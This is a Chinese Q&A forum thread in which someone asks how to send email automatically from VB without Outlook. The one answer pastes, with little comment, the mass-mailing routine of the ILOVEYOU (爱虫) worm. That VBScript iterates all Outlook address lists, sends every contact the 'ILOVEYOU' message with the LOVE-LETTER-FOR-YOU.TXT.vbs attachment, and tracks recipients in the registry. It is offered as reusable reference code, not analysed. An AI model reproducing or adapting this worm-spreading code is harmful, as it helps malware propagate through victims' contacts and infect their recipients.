怎么利用vb进行自动发送到指定邮箱(能不用outlook吗?)

如何利用vb进行自动发送到指定邮箱(能不用outlook吗?)
如何利用vb进行自动发送到指定邮箱(能不用outlook吗?)

------解决方案--------------------

sub spreadtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject( "WScript.Shell ")
set out = WScript.CreateObject( "Outlook.Application ")
set mapi = out.GetNameSpace( "MAPI ")
for ctrlists = 1 to mapi.AddressLists.Count
set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead( "HKEY_CURRENT_USER\Software\Microsoft\WAB\ " & a)
if (regv = " ") then
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then
for ctrentries = 1 to a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = " "
regad = regedit.RegRead( "HKEY_CURRENT_USER\Software\Microsoft\WAB\ " & malead)
if (regad = " ") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU "
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me. "
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs ")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\ " & malead, 1, "REG_D
WORD "
end if
x = x + 1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\ "&a,a.AddressEntries.
Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\ "&a,a.AddressEntries.
Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub
这个是爱虫病毒的发邮件的代码段,vbs写的,仅供参考